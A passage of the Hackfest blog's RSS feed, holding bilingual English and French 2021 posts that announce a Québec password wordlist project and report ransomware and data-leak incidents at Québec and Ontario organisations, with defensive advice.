      <link>https://media.hackfest.ca/en/blog/quebec-password-wordlist-project</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/quebec-password-wordlist-project</guid>
      <pubDate>Tue, 01 Jun 2021 10:00:00 +0000</pubDate>
      <dc:creator>POPS5s</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Tools &amp; projects</category>
      <category>wordlist</category>
      <category>passwords</category>
      <category>w0lfd3n</category>
      <description>That’s when reality hit me: the usual “wordlists” available online contain little or no French and/or Québec vocabulary, since most of them come from American and international breaches!</description>
      <enclosure url="https://media.hackfest.ca/images/posts/passwords.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/passwords.webp" alt="passwords" /></p>

<p>Recently, I was testing my modest “pentest” skills on my personal WI-FI network. Following the classic methodology, I performed a deauthentication attack on a device connected to my “access point”, captured the WPA2 key exchange, and tried to “crack” the password using a “wordlist”. For the sake of the exercise, the password used was alarmingly simple. Despite that, I was unable to find it.</p>

<p>That’s when reality hit me: the usual “wordlists” available online contain little or no French and/or Québec vocabulary, since most of them come from American and international breaches. During discussions on some Discord servers (Hackfest), I noticed that very few French-language references were indeed available and that there was a desire to create such a password list. Our group, w0lfd3n, a team of professionals and enthusiasts who are mostly from Québec, came together around this idea. We seized the opportunity to found an official group in order to get involved in the cybersec community. This project was a kind of catalyst for the group and an extra motivation to explore methods and skills that were, for most of us, still new, i.e. GitHub. We hope the project will make a positive contribution to the Québec cybersec community.</p>

<p>We are pleased to present the public repository <a href="https://github.com/w0lf-d3n/Quebec_Wordlist">w0lfd3n’s quebec_wordlist</a>. This list is extracted, for the most part, from passwords found in several public data breaches, all related to Québec domains (public institutions, private sector, etc.). It has several potential applications, i.e. a “wordlist” for John The Ripper and Hashcat, or simply a list of passwords to avoid. You can combine good password discipline with this list to avoid using weak and compromised passwords.</p>

<p>We also recommend using a password manager such as BitWarden or KeePassXC to avoid reusing the same password multiple times. We plan to make constant changes and additions to this list, and we are of course open to any external contributions that meet our criteria.</p>

<p>You can contact us at <a href="mailto:hello@w0lfd3n.org">hello@w0lfd3n.org</a> .</p>

<p>Photo credit: <a href="https://flickr.com/photos/worldsdirection/33611388604/">worldsdirection</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC BY license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Présentation d&apos;un projet de wordlist de mots de passes québécois</title>
      <link>https://media.hackfest.ca/blog/projet-wordlist-passwords-quebecois</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/projet-wordlist-passwords-quebecois</guid>
      <pubDate>Tue, 01 Jun 2021 10:00:00 +0000</pubDate>
      <dc:creator>POPS5s</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Outils &amp; projets</category>
      <category>wordlist</category>
      <category>mots de passe</category>
      <category>w0lfd3n</category>
      <description>C’est alors que la réalité m’a frappé, les “wordlists” habituelles disponibles sur le net ne contiennent pas ou très peu de vocabulaire français et/ou Québécois, la plupart étant issues de brèches américaines et internationales!</description>
      <enclosure url="https://media.hackfest.ca/images/posts/passwords.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/passwords.webp" alt="passwords" /></p>

<p>Récemment, je testais mes habiletés modestes de “pentest” sur mon réseau WI-FI personnel. Suivant la méthodologie classique, j’ai performé une attaque de désauthentification sur un périphérique relié à mon “access point”, capturé l’échange de clef WPA2, et tenté de “craquer” le mot de passe à l’aide d’une “wordlist”. Pour les besoins de la cause, le mot de passe utilisé était d’une simplicité alarmante. Malgré tout, j’ai été incapable de le découvrir.</p>

<p>C’est alors que la réalité m’a frappé : les “wordlists” habituelles disponibles sur le net ne contiennent pas ou très peu de vocabulaire français et/ou Québécois, la plupart étant issues de brèches américaines et internationales. Au cours de discussions sur certains serveurs Discord (Hackfest), j’ai constaté qu’en effet très peu de références francophones étaient disponibles et qu’il y avait une volonté de créer une telle liste de mots de passe. C’est autour de cette idée que s’est constituée notre groupe, w0lfd3n, une équipe de professionnels et d’enthousiastes pour la plupart québécois. Nous avons saisi l’opportunité de fonder un groupe officiel afin de s’impliquer dans la communauté cybersec. Ce projet a été une sorte de catalyseur au groupe et une motivation supplémentaire afin d’explorer des méthodes et habiletés qui nous étaient pour la plupart encore nouvelles, i.e. GitHub. Nous espérons que le projet contribuera positivement à la communauté cybersec Québécoise.</p>

<p>C’est avec plaisir que nous présentons le dépôt public <a href="https://github.com/w0lf-d3n/Quebec_Wordlist">w0lfd3n’s quebec_wordlist</a>. Cette liste est extraite en grande majorité des mots de passe présents dans plusieurs brèches de données publiques, tous reliés à des domaines québécois (institutions publiques, secteur privé, etc). Elle a plusieurs applications potentielles, i.e. “wordlist” pour John The Ripper et Hashcat ou bien tout simplement liste de mots de passe à éviter. Vous pouvez combiner une bonne discipline de mots de passe avec cette liste afin d’éviter l’utilisation de mots de passe faibles et compromis.</p>

<p>Il est également conseillé d’utiliser un gestionnaire de mots de passe tel que BitWarden ou KeePassXC afin d’éviter de réutiliser le même mot de passe plusieurs fois. Nous planifions d’apporter des modifications et ajouts constants à cette liste, et nous sommes évidemment ouverts à toutes contributions externes qui respectent nos critères.</p>

<p>Vous pouvez nous contacter à <a href="mailto:hello@w0lfd3n.org">hello@w0lfd3n.org</a> .</p>

<p>Crédit photo: <a href="https://flickr.com/photos/worldsdirection/33611388604/">worldsdirection</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC BY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Sensitive data leak at Ventilabec</title>
      <link>https://media.hackfest.ca/en/blog/ventilabec-data-leak</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/ventilabec-data-leak</guid>
      <pubDate>Tue, 11 May 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Leaks &amp; privacy</category>
      <category>SIN</category>
      <category>construction</category>
      <description>It is never pleasant to learn that our sensitive information has been published on the Web. Last January, a criminal group released confidential documents it claims to have stolen from the company Ventilabec. To confirm the authenticity of this information, we contacted people who no longer work for the company, but who unfortunately appear in this data leak.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/ventilation.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/ventilation.webp" alt="ventilation" /></p>

<p>It is never pleasant to learn that our sensitive information has been published on the Web. Last January, a criminal group released confidential documents it claims to have stolen from the company Ventilabec. To confirm the authenticity of this information, we contacted people who no longer work for the company, but who unfortunately appear in this data leak.</p>

<p>The ransomware group that claimed responsibility for this cyberattack published 1,140 documents. They include background check authorization forms, job site “onboarding sheets” listing allergies and medication taken, and competency cards issued by the Commission de la construction du Québec. The cards dating from 2010 and 2011 display the worker’s social insurance number. According to a counter displayed on the web page, it has been viewed more than 25,000 times.</p>

<p>Sabrina DesOrmiers worked for Ventilabec until 2012. Afterwards, she “kept doing consulting for them for about two years.” She confirms having signed a criminal background check authorization for a project at the Casino de Montréal. Before our call, no one had notified her of this data breach.</p>

<p>Reached by phone, Caroline (not her real name) confirms that she also worked for this company.  She has not been employed there for several years. She asked to remain anonymous.</p>

<p>We informed her that a form was on a website accessible on the dark web. “No one notified me,” she tells us. She confirms having signed this authorization. The document contains information such as her date of birth, her social insurance number and her driver’s licence number.</p>

<p>Ventilabec, based in Laval, specializes in installing and maintaining ventilation, refrigeration and heating systems. According to its website, it has more than 10,000 completed projects to its credit in the industrial, commercial, institutional and pharmaceutical sectors.</p>

<p>Reached by phone, president Éric Ladouceur preferred not to comment on the matter.</p>

<h3 id="secured-or-destroyed">Secured or destroyed</h3>

<p>According to Steve Waterhouse, a former security officer at National Defence, when archiving this kind of information, it is important to be aware of how sensitive it is.</p>

<p>The best practice for keeping data that is not actively needed is “to never put it online.” He advises storing sensitive data in encrypted form. “There are several programs and tools to encrypt files.” Documents “at rest” should be on an external hard drive, encrypted, and stored in a safe place.</p>

<p>The cybersecurity expert points out that a company should have a data retention policy and destroy data as soon as it is no longer useful. To destroy it securely, he recommends encrypting it before deleting it. This will make it harder to recover.</p>

<h3 id="reporting-not-mandatory-but-recommended">Reporting not mandatory, but recommended</h3>

<p>The Commission d’accès à l’information du Québec (CAI, Quebec’s access to information commission) confirms that the law does not require companies to destroy information. Its spokesperson reminds us that keeping documents that are no longer needed increases the impact when a security incident occurs.</p>

<p>“For now, in Quebec, there is no legal obligation to report security incidents, either to the Commission or to the people concerned,” the CAI told us. Reports are made on a voluntary basis.</p>

<p>“However, we strongly recommend that companies take this step.” According to the Commission, “the people concerned should be notified without delay if the loss or theft of personal information presents a risk of harm to them. This can allow them to take the appropriate measures to protect their personal information.”</p>

<p>The CAI explains that under section 27 of the Act respecting the protection of personal information in the private sector, every person has the “right to access personal information concerning them that is held by a company.” A written request must be submitted.</p>

<p>Article 40 of the Civil Code of Québec also allows a person to request the deletion of personal information that is “outdated or not justified by the purpose of the file.”</p>

<p>In both cases, it is possible to contact the CAI to learn more about the procedures and restrictions detailed in the law.</p>

<h3 id="how-to-protect-yourself-from-identity-theft">How to protect yourself from identity theft</h3>

<p>According to Patrick Mathieu, co-founder of Hackfest Communication — an annual event and cybersecurity community — in cases like this one, people can protect themselves:</p>

<ul>
  <li>by avoiding putting personal information on social media,</li>
  <li>by using a password manager and two-factor authentication,</li>
  <li>by subscribing to an alert service such as those offered by Equifax or TransUnion,</li>
  <li>by regularly checking their bank accounts and credit card statements to detect suspicious transactions.</li>
</ul>

<p>photo credit: <a href="https://flickr.com/photos/duchamp/">spDuchamp</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC BY license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Fuite de données sensibles chez Ventilabec</title>
      <link>https://media.hackfest.ca/blog/fuite-de-donnees-ventilabec</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/fuite-de-donnees-ventilabec</guid>
      <pubDate>Tue, 11 May 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Fuites &amp; vie privée</category>
      <category>NAS</category>
      <category>construction</category>
      <description>Il n’est jamais agréable d’apprendre que nos renseignements sensibles ont été publiés sur le Web. En janvier dernier, un groupe criminel a diffusé des documents confidentiels qu’ils disent avoir volés à la compagnie Ventilabec. Pour confirmer l’authenticité de ces renseignements, nous avons contacté des personnes qui ne sont plus à l’emploi de cette entreprise, mais qui figurent malheureusement dans cette fuite de données.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/ventilation.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/ventilation.webp" alt="ventilation" /></p>

<p>Il n’est jamais agréable d’apprendre que nos renseignements sensibles ont été publiés sur le Web. En janvier dernier, un groupe criminel a diffusé des documents confidentiels qu’ils disent avoir volés à la compagnie Ventilabec. Pour confirmer l’authenticité de ces renseignements, nous avons contacté des personnes qui ne sont plus à l’emploi de cette entreprise, mais qui figurent malheureusement dans cette fuite de données.</p>

<p>Le groupe de rançongiciel qui a revendiqué cette cyberattaque a publié 1140 documents. On y retrouve des formulaires d’autorisation d’enquête, des « fiches d’accueil » de chantier avec les allergies et la médication prise et des cartes de compétence émises par la Commission de la construction du Québec. Les cartes qui datent de 2010 et 2011 affichent le numéro d’assurance sociale du travailleur. Selon un compteur affiché sur la page Web, celle-ci a été consultée plus de 25 000 fois.</p>

<p>Sabrina DesOrmiers a travaillé pour Ventilabec jusqu’en 2012. Par la suite, elle a « continué à faire de la consultation pour eux pendant deux ans environ ». Elle confirme avoir signé une autorisation d’enquête des antécédents judiciaires pour un projet au Casino de Montréal. Avant notre appel, personne ne l’avait avisée de cette brèche de données.</p>

<p>Contactée par téléphone, Caroline (nom fictif) confirme qu’elle a également travaillé pour cette compagnie.  Elle n’est plus à l’emploi de cette entreprise depuis plusieurs années. Elle demande de garder l’anonymat.</p>

<p>Nous lui apprenons qu’un formulaire se trouve sur un site Web accessible sur le Web caché. « Personne ne m’a avisée », nous dit-elle. Elle confirme avoir signé cette autorisation. Ce document comporte des renseignements comme sa date de naissance, son numéro d’assurance sociale et son numéro de permis de conduire.</p>

<p>Ventilabec, basée à Laval, est spécialisée en installation et entretien de systèmes de ventilation, réfrigération et chauffage. Selon son site Web, elle a plus de 10 000 projets réalisés à son actif dans les secteurs industriel, commercial, institutionnel et pharmaceutique.</p>

<p>Rejoint au téléphone, le président Éric Ladouceur a préféré ne pas commenter cette affaire.</p>

<h3 id="sécurisé-ou-détruit">Sécurisé ou détruit</h3>

<p>Selon Steve Waterhouse, ancien officier de sécurité à la défense nationale, lorsqu’on archive ce genre de renseignement, il est important de prendre conscience de la sensibilité de celui-ci.</p>

<p>La meilleure pratique pour conserver les données dont on n’a pas activement besoin consiste « à ne jamais mettre cela en ligne ». Il conseille d’entreposer les données sensibles de manière chiffrée. « Il existe plusieurs logiciels et outils pour crypter les fichiers ». Les documents « en repos » devraient être sur un disque dur externe, chiffré, et remisé en lieu sûr.</p>

<p>L’expert en cybersécurité rappelle qu’une entreprise devrait avoir une politique de rétention des données et détruire celles-ci dès qu’elles ne sont plus utiles. Pour les détruire de manière sécuritaire, il recommande de les chiffrer avant de les supprimer. Cela va les rendre plus difficiles à récupérer.</p>

<h3 id="déclaration-non-obligatoire-mais-recommandée">Déclaration non obligatoire, mais recommandée</h3>

<p>La Commission d’accès à l’information du Québec (CAI) confirme que la loi n’oblige pas les entreprises à détruire un renseignement. Son porte-parole nous rappelle que de conserver des documents dont on n’a plus besoin augmente l’impact quand il y a un incident de sécurité.</p>

<p>« Pour l’instant, au Québec, il n’y a pas d’obligation légale de déclarer les incidents de sécurité, ni à la Commission ni aux personnes concernées », nous répond la CAI. Les déclarations sont faites sur une base volontaire.</p>

<p>« Cependant, nous recommandons fortement aux entreprises de faire cette démarche. » Selon la Commission, « les personnes concernées devraient être avisées sans tarder si la perte ou le vol de renseignements personnels présente un risque de préjudice pour elles. Cela peut leur permettre de prendre les mesures pertinentes pour protéger leurs renseignements personnels. »</p>

<p>La CAI nous explique qu’en vertu de l’article 27 de la Loi sur la protection des renseignements personnels dans le secteur privé, toute personne à le « droit d’accéder aux renseignements personnels qui la concernent et qui sont détenus par une entreprise. » Une demande écrite doit être présentée.</p>

<p>L’article 40 du Code civil du Québec permet également à une personne de demander la destruction d’un renseignement personnel « périmé ou non justifié par l’objet du dossier ».</p>

<p>Dans ces deux cas, il possible de communiquer avec la CAI afin d’en savoir plus sur les modalités et les restrictions détaillées dans la loi.</p>

<h3 id="comment-se-protéger-dun-vol-didentité">Comment se protéger d’un vol d’identité</h3>

<p>Selon Patrick Mathieu, cofondateur de Hackfest Communication — un événement annuel et une communauté de cybersécurité — dans les cas comme celui-ci, les gens peuvent se protéger :</p>

<ul>
  <li>en évitant de mettre de l’information personnelle sur les réseaux sociaux,</li>
  <li>en utilisant un gestionnaire de mot de passe et l’authentification à deux facteurs,</li>
  <li>en s’abonnant à un service d’alerte comme ceux d’Equifax ou de TransUnion,</li>
  <li>en vérifiant régulièrement leurs comptes de banque et relevés de carte de crédit pour détecter les transactions douteuses.</li>
</ul>

<p>crédit photo: <a href="https://flickr.com/photos/duchamp/">spDuchamp</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC BY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Boutin transport company hit by a cyberattack</title>
      <link>https://media.hackfest.ca/en/blog/boutin-transport-cyberattack</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/boutin-transport-cyberattack</guid>
      <pubDate>Fri, 30 Apr 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>transportation</category>
      <description>Transport company Boutin Express was targeted by ransomware. The company shut down all of its IT systems, but has managed to continue operating.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/boutin.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/boutin.webp" alt="crtc" /></p>

<p>Transport company Boutin was targeted by ransomware. The company shut down all of its IT systems, but has managed to continue operating.</p>

<p>The security breach was announced on a ransomware group’s site. We contacted the company by phone on April 28, and its president, Mr. Bernard Boutin, confirmed that they had indeed been targeted by a cyberattack. He asked us to send him our questions in writing.</p>

<p>In an email, the entrepreneur explained that a ransom note was discovered and that they then called on an IT security specialist.</p>

<p>The customer and employee portals, accessible from their website, are not responding. To avoid taking any unnecessary risks, “we shut down access to all of our systems and workstations.” Staff must rebuild a number of servers and “restart certain applications from scratch. Operations work is being done partly manually.”</p>

<p>Mr. Boutin says their operations are continuing. “With our team, we were able to make sure that service was not too disrupted.”</p>

<p>The situation is currently under investigation. The company cannot say with certainty whether personal data of customers or employees was stolen. But “as a precaution, the people concerned have started to be informed.”</p>

<p>Boutin is a company founded in 1945 and headquartered in Plessisville, in the Centre-du-Québec region. According to its website, it has more than 390 employees and a fleet of over 630 units.</p>

<p>cover photo credit: <a href="https://www.flickr.com/photos/65329753@N04/">martin</a> - <a href="https://creativecommons.org/licenses/by-nc-nd/2.0/">CC BY-NC-ND license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>La compagnie de transport Boutin victime d&apos;une cyberattaque</title>
      <link>https://media.hackfest.ca/blog/Groupe-Boutin-Cyberattaque</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/Groupe-Boutin-Cyberattaque</guid>
      <pubDate>Fri, 30 Apr 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>transport</category>
      <description>La compagnie de transport Boutin Express a été la cible d’un rançongiciel. L’entreprise a fermé l’ensemble de ses systèmes informatiques, mais réussit à poursuivre ses activités.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/boutin.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/boutin.webp" alt="crtc" /></p>

<p>La compagnie de transport Boutin a été la cible d’un rançongiciel. L’entreprise a fermé l’ensemble de ses systèmes informatiques, mais réussit à poursuivre ses activités.</p>

<p>La brèche de sécurité a été annoncée sur le site d’un groupe de rançongiciel. Nous avons contacté l’entreprise par téléphone le 28 avril et le président, M. Bernard Boutin, nous a confirmé qu’ils étaient bel et bien la cible d’une cyberattaque. Il nous a demandé de lui acheminer nos questions par écrit.</p>

<p>Dans un courriel, l’entrepreneur nous explique qu’un message de rançon a été découvert et qu’ils ont ensuite fait appel à un spécialiste en sécurité informatique.</p>

<p>Les portails client et employés, accessibles à partir de leur site Web, ne répondent pas. Afin de ne prendre aucun risque inutile, « nous avons fermé l’accès à l’ensemble de nos systèmes et postes de travail ». Le personnel doit rebâtir un certain nombre de serveurs et « repartir à 0 certaines applications. Le travail aux opérations se fait en partie manuellement. »</p>

<p>M. Boutin affirme que leurs opérations se poursuivent. « Nous avons été capables avec notre équipe de faire en sorte que le service ne soit pas trop perturbé. »</p>

<p>La situation fait actuellement l’objet d’une enquête. L’entreprise ne peut dire avec certitude si des données personnelles de client ou d’employés ont été dérobées. Mais, « dans le doute, les personnes concernées ont commencé à en être informées ».</p>

<p>Boutin est une entreprise fondée en 1945 dont le siège social se situe à Plessisville, au Centre-du-Québec. Selon son site Web, elle compte plus de 390 employés et possède une flotte qui dépasse 630 unités.</p>

<p>crédit photo couverture: <a href="https://www.flickr.com/photos/65329753@N04/">martin</a> - <a href="https://creativecommons.org/licenses/by-nc-nd/2.0/">licence CC BY-NC-ND</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Triple extortion</title>
      <link>https://media.hackfest.ca/en/blog/triple-extortion</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/triple-extortion</guid>
      <pubDate>Tue, 27 Apr 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>Avaddon</category>
      <category>DDoS</category>
      <category>extortion</category>
      <description>Since the threat of leaking stolen documents is not enough in their eyes, some ransomware groups have added denial of service to their arsenal. A Québec City company just learned this the hard way. The Avaddon group recently claimed an attack against this software development company.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/lock.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/lock.webp" alt="crtc" /></p>

<p>Since the threat of leaking stolen documents is not enough in their eyes, some ransomware groups have added denial of service to their arsenal. A Québec City company just learned this the hard way. The Avaddon group recently claimed an attack against this software development company.</p>

<p>It is now customary for attackers to apply what is known as “double extortion.” With this method, the criminals first exfiltrate the data they managed to access. Then they encrypt their victim’s systems. The files are rendered unusable unless the victim pays to obtain the key needed to decrypt them.</p>

<p>Companies with recent and reliable backups are able to recover more quickly from this kind of attack. To increase pressure on victims and force them to pay, the Maze group was the first to threaten to publicly release stolen data. Shortly afterwards, several groups followed suit.</p>

<p>The news site bleepingcomputer.com reported in October 2020 that the SunCrypt and RagnarLocker groups had started adding distributed denial of service (DDoS) to their arsenal.</p>

<p>DDoS is a form of attack where the victim’s server is bombarded with a large number of requests. It is called distributed because the requests come from a multitude of different sources. Unable to handle such a volume of bogus data, the server becomes inaccessible.</p>

<p>The Avaddon group has just joined the list of groups using this method to force their victims to negotiate. On their site, one can see a list of companies affected by a denial of service.</p>

<p>On the morning of April 27, the Québec City company’s website was indeed inaccessible. When contacted, the company preferred not to comment on the events. The entrepreneur, who asked us to keep him anonymous, told us that “there is no clear guide on the role of IT security as an SME is being built” and that although investing in security may seem like a significant expense, especially at the beginning, “a risk assessment should lead to the conclusion that such expenses are smaller than the potential damage.”</p>

<p>It remains to be seen whether other groups will now start practising this “triple extortion.”</p>

<p>cover photo credit: <a href="https://www.flickr.com/photos/dotbenstar/">Ben Elwood</a> - <a href="https://creativecommons.org/licenses/by-nc/2.0/">CC BY-NC license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>La triple extorsion</title>
      <link>https://media.hackfest.ca/blog/la-triple-extorsion</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/la-triple-extorsion</guid>
      <pubDate>Tue, 27 Apr 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>Avaddon</category>
      <category>DDoS</category>
      <category>extorsion</category>
      <description>La menace de diffuser les documents volés n’étant pas suffisante à leurs yeux, certains groupes de rançongiciel ont ajouté le déni de service à leur arsenal. Une compagnie de Québec vient de l’apprendre. Le groupe Avaddon a revendiqué récemment une attaque contre cette compagnie spécialisée dans le développement informatique.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/lock.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/lock.webp" alt="crtc" /></p>

<p>La menace de diffuser les documents volés n’étant pas suffisante à leurs yeux, certains groupes de rançongiciel ont ajouté le déni de service à leur arsenal. Une compagnie de Québec vient de l’apprendre. Le groupe Avaddon a revendiqué récemment une attaque contre cette compagnie spécialisée dans le développement informatique.</p>

<p>Il est maintenant coutume pour les pirates d’appliquer ce qu’on appelle la « double extorsion ». Cette méthode implique que les malfaiteurs commencent par exfiltrer les données auxquelles ils ont réussi à avoir accès. Ensuite, ils vont chiffrer les systèmes de leur victime. Les fichiers sont rendus inutilisables à moins de payer pour obtenir la clé nécessaire pour les déchiffrer.</p>

<p>Les entreprises ayant des sauvegardes récentes et fiables sont en mesure de se relever plus rapidement d’une attaque de ce genre. Pour accroître la pression sur les victimes et les forcer à payer, le groupe Maze a été le premier à menacer de diffuser publiquement les données volées. Peu de temps après, plusieurs groupes leur emboîtaient le pas.</p>

<p>Le site de nouvelles bleepingcomputer.com avait rapporté en octobre 2020 que les groupes SunCrypt et RagnarLocker avaient commencé à ajouter le déni de service distribué (DDoS — Distributed Denial of Service) à leur arsenal.</p>

<p>Le DDoS est une forme d’attaque ou le serveur de la victime est bombardé d’une quantité importante de requêtes. On dit qu’il est distribué, car les requêtes proviennent d’une multitude de sources différentes. N’étant pas capable de soutenir un tel volume de données bidon, le serveur devient inaccessible.</p>

<p>Le groupe Avaddon vient de s’ajouter à la liste des groupes utilisant cette méthode afin de forcer leur victimes à négocier. Sur leur site, on peut voir une liste des entreprises qui sont affectées par un déni de service.</p>

<p>Le matin du 27 avril, le site web de la compagnie de Québec était effectivement inaccessible. Contactée, la compagnie préfère ne pas se prononcer sur les événements. L’entrepreneur, qui nous a demandé de garder l’anonymat, nous a dit qu’il « n’y a pas un guide clair sur le rôle de la sécurité informatique dans l’évolution de la création d’une PME » et que bien que l’investissement en sécurité puisse sembler être une dépense importante, surtout au début, « une évaluation des risques doit mener à la conclusion que de pareilles dépenses sont moins importantes que les dommages potentiels. »</p>

<p>Il reste à voir si d’autres groupes vont maintenant se mettre à pratiquer cette « triple extorsion ».</p>

<p>crédit photo couverture: <a href="https://www.flickr.com/photos/dotbenstar/">Ben Elwood</a> - <a href="https://creativecommons.org/licenses/by-nc/2.0/">licence CC BY-NC</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cybersecurity incident at the Regional Municipality of Durham</title>
      <link>https://media.hackfest.ca/en/blog/Durham-breach-EN</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/Durham-breach-EN</guid>
      <pubDate>Fri, 09 Apr 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>municipalities</category>
      <category>third-party</category>
      <description>The Regional Municipality of Durham in Ontario was the target of a cyber criminal group. The systems have been secured, but the extent of the data breach is still unknown. The Corporate Communications service confirmed that they “recently became aware of a cybersecurity incident related to software provided by a third-party service provider.”</description>
      <enclosure url="https://media.hackfest.ca/images/posts/ransomware.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/ransomware.webp" alt="crtc" /></p>

<p>The Regional Municipality of Durham in Ontario was the target of a cyber criminal group. The systems have been secured, but the extent of the data breach is still unknown.</p>

<p>We contacted the administration of the municipality after a ransomware gang announced the attack on their leak site hosted on the dark web. The Corporate Communications service confirmed that they “recently became aware of a cybersecurity incident related to software provided by a third-party service provider.” According to the statement we received, the incident did not impact the Region’s core IT systems.</p>

<p>The Regional Municipality says that they have contacted the relevant authorities. Their experts are investigating the matter to “determine the information that may be involved and the impact of this incident.” The Municipality states that the vulnerability has been patched and that their systems have been secured.</p>

<p>The ransomware gang published screenshots of confidential information on their site. The spokesperson for Durham did not confirm if these were authentic. They show spreadsheets with names and phone numbers and, more troubling, ambulance reports.</p>

<p>The group involved in this cyber attack was responsible for alleged data breaches involving universities in the United States in the last months. They have been very active in exploiting the Accelion FTA (File Transfer Application) vulnerability. This 20-year-old technology is used to share confidential documents in a secure manner. A vulnerability was discovered at the end of December 2020. Three other vulnerabilities were found in the first months of 2021. These vulnerabilities have been patched, but many organizations have not updated their services, leaving the door open for threat actors. The Regional Municipality of Durham did not answer our question regarding the use of Accelion FTA.</p>

<p>photo credit: <a href="https://www.flickr.com/photos/136770128@N07/">Richard Patterson</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Incident de sécurité à la Municipalité Régionale de Durham</title>
      <link>https://media.hackfest.ca/blog/Durham-breach</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/Durham-breach</guid>
      <pubDate>Fri, 09 Apr 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>municipalités</category>
      <category>tiers</category>
      <description>La municipalité régionale de Durham, Ontario, a été la cible d’un groupe de cybercriminels. Les systèmes ont été sécurisés, mais l’étendue de la fuite de données est encore inconnue. Le service des communications a confirmé qu’ils avaient récemment été avisés d’un « incident de sécurité relié à un logiciel fourni par un tiers ».</description>
      <enclosure url="https://media.hackfest.ca/images/posts/ransomware.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/ransomware.webp" alt="crtc" /></p>

<p>La municipalité régionale de Durham, Ontario, a été la cible d’un groupe de cybercriminels. Les systèmes ont été sécurisés, mais l’étendue de la fuite de données est encore inconnue.</p>

<p>Nous avons contacté l’administration de la municipalité après qu’un groupe de rançongiciel a annoncé cette attaque sur son site hébergé sur le « dark web ». Le service des communications nous a répondu qu’ils avaient récemment été avisés d’un « incident de sécurité relié à un logiciel fourni par un tiers ». Cet incident n’aurait pas affecté leurs autres services TI.</p>

<p>La municipalité régionale dit avoir avisé les autorités compétentes. Leurs experts étudient la situation afin de déterminer quelles données sont impliquées et l’impact de l’incident. La municipalité affirme que la vulnérabilité a été corrigée et que leurs systèmes ont été sécurisés.</p>

<p>Le groupe a publié des captures d’écran de documents confidentiels. Le porte-parole de Durham ne nous a pas confirmé si ceux-ci étaient véridiques. On y trouve des tableaux de coordonnées avec noms et numéros de téléphone et des rapports de transport ambulancier.</p>

<p>Le groupe qui revendique cette attaque a été impliqué dans plusieurs fuites de données impliquant des universités aux États-Unis. Il a été très actif récemment dans l’exploitation d’une vulnérabilité de Accellion FTA (File Transfer Appliance). Cette technologie vieille de 20 ans sert à partager des documents confidentiels de façon sécuritaire. Une première vulnérabilité a été découverte à la fin décembre 2020. Trois autres vulnérabilités ont été découvertes en 2021. Ces vulnérabilités ont été corrigées, mais plusieurs organisations n’ont pas mis leurs systèmes à jour, laissant le champ libre aux malfaiteurs. La municipalité régionale de Durham n’a pas répondu à notre question sur l’utilisation ou non d’Accellion FTA.</p>

